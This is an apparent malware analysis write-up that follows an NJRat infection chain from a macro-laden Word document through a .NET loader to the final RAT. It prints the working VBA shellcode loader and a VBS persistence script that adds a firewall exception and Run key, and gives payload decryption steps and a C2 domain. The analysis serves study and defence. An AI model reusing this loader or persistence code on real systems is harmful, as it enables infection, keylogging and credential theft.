NJRat Injection From Malicious Document
Another RAT variant, NJRat is typically attributed to ECrime actors, it is supposedly popular with actors in the Middle East. It’s primary infection vectors are phishing attacks and drive-by downloads, and like many other RATs, it has the capability to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, etc…
This sample was taken from the following tweet
[-] Maldoc VirusTotal
[-] PE Payload VirusTotal
Maldoc
Like most other maldocs which leverage macros, the document lures the user into enabling content.
We can interrogate this macro by using OLE tools to view it.
Attribute VB_Name = "Module1"
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal six As Long, ByVal five As Long, ByVal four As LongPtr, three As Long, ByVal two As Long, one As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal seven As Long, ByVal eight As Long, ByVal nine As Long, ByVal ten As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal eleven As LongPtr, ByVal twelve As LongPtr, ByVal thirteen As Long) As LongPtr
Public Function db(base64) As Byte()
Dim DM As Variant, EL As Variant
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
db = EL.NodeTypedValue
End Function
Sub autoopen()
Dim var2() As Byte
Dim var4 As LongPtr
Variables = ActiveDocument.InlineShapes(1).AlternativeText
var2 = db(Variables)
var6 = VirtualAlloc(0, UBound(var2), &H1000, &H40)
var4 = RtlMoveMemory(var6, VarPtr(var2(0)), UBound(var2))
var4 = CreateThread(0, 0, var6, 0, 0, 0)
ActiveDocument.Range.Font.Hidden = False
End Sub
Essentially, a Base64 string is being taken from ActiveDocument.InlineShapes(1).AlternativeText and decoded, we can assess that the contents are then executed in memory using CreateThread, VirtualAlloc and RtlMoveMemory API calls.
The base64 string is hidden inside a text box on the first page of the document, utilising the Alternative Text field
I found the full string by querying the ‘Data’ stream, using OLE tools.
Base64 Snippet:
This is donut Shellcode - https://github.com/TheWover/donut
Shellcode Analysis
A simple From Base64 operation will reveal the raw shellcode. To investigate this further, I ran the shellcode as an argument with Blobrunner and attached x32dbg to the process.
We’ll set a breakpoint in x32dbg for the base address 0x012d0000 and run the shellcode.
I decided to leave this here for now, and instead switched to API monitor to see if i could see some interesting function calls.
Within some of the API calls, there are references to netflex.exe in the AppData directory, which is one of our final payloads.
We also see indications that a registry run key is going to be a form of persistence for this malware.
Most interestingly, we can see a NtWriteFile API call occurring. It only seems to show the first 1024 bytes of what it is writing but from this content alone we can see that it is writing an executable, which we should investigate further.
We’ll set a breakpoint in x32dbg with “bp NtWriteFile” and run until that breakpoint is met.
We can see in the stack that there is an address with “MZ” text which is likely our executable, so we’ll follow this in dump.
There are very strong indications that this is a binary file being written, we’ll follow this in memory map and dump the memory in a file in an attempt to extract the binary.
As this was extracted from memory, we need to clean some bits up before we get our executable, we can do this with HxD and delete everything before our MZ header.
1st Executable - The Loader
This is a .NET binary so we will run it through DNSpy to figure out what it’s doing.
This appears to be a loader with the injection target of svchost.exe
We see more references to the registry run key previously mentioned.
And, what we’re interested in - a baes64 encoded chunk and target file path.
A From Base64 operation will reveal our next binary, dropped from this loader.
2nd Executable - Netflex
Taking a look at the dropped ‘netflex.exe’ in DNSpy, there are a few things to note.
Firstly, the binary does a basic check to decide if the host is in a virtualised environment by querying Win32_CacheMemory
If there is a value for Win32_CacheMemory, the program assumes the host is not a virtual machine and will execute the next function.
The next function involves breaking/disabling AMSI and ETW, likely through the use of SharpUnhooker or a similar tool.
Next up is the main function, which essentially decrypts and executes a payload in memory.
The first line derives an AES key by getting the SHA 256 value of Settings.aes_key and taking the first 32 bytes.
The second line takes the contents of baseData, converts it from base64, decompresses the data with the Decompress function, decrypts the data and finally base64 decodes the unencrypted data.
Decompress Function
The key point here is that the first 4 bytes of baseData declare the length of the data and are not needed for decompression.
The Settings class is compromised of 3 key components, baseData, aes_key and aes_iv.
We now have everything needed to decrypt the base64 string.
1) Copy and paste the baseData string into CyberChef, convert it from base64.
2) Remove the first 4 bytes
3) Decompress with Gunzip
4) AES decrypt with base64 key “78e3e7cc513ff8ae00a177366efa4060” (First 32 bytes of the SHA 256 value of ‘Q4NP7JPHRA5AJB28’)
5) Decode from base64
This leaves us with another .NET executable, which, upon execution, netflex.exe would load in memory.
3rd Executable - NJRat Payload
Command and Control
Within this executable, we can see the C2 domain and installation directory being declared.
C2: netflex.duckdns[.]org:2255
Replication
There is also the capability for replication across removable media drives, and creating a vbs script as a means of persistence.
VBS Script
dim shellobj
set shellobj = wscript.createobject("http://wscript.shell")
ddd= "netsh firewall add allowedprogram c:\users\user\appdata\roaming\netflex\netflex.exe ""netflex.exe"" ENABLE"
cmdshell(ddd)
shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split ("netflex.exe",".")(0), "c:\users\user\appdata\roaming\netflex\netflex.exe", "REG_SZ"
function cmdshell (cmd)
dim httpobj,oexec,readallfromany
set oexec = shellobj.exec ("%comspec% /C /Q /K /S" & cmd)
if not oexec.stdout.atendofstream then
readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
readallfromany = oexec.stderr.readall
else
readallfromany = ""
end if
cmdshell = readallfromany
end function
Persistence
Previously noted registry run key additions.
As well as the binary being copied to the Startup directory.
Keylogging
The ‘kl’ class in the binary presents the keylogging functionality.
The following line defines where the keystrokes are to be recorded.
STV Function
With this, we know that keystrokes should be recorded under the HKCU\SOFTWARE\Netflex [kl] registry key.
Basic Execution Flow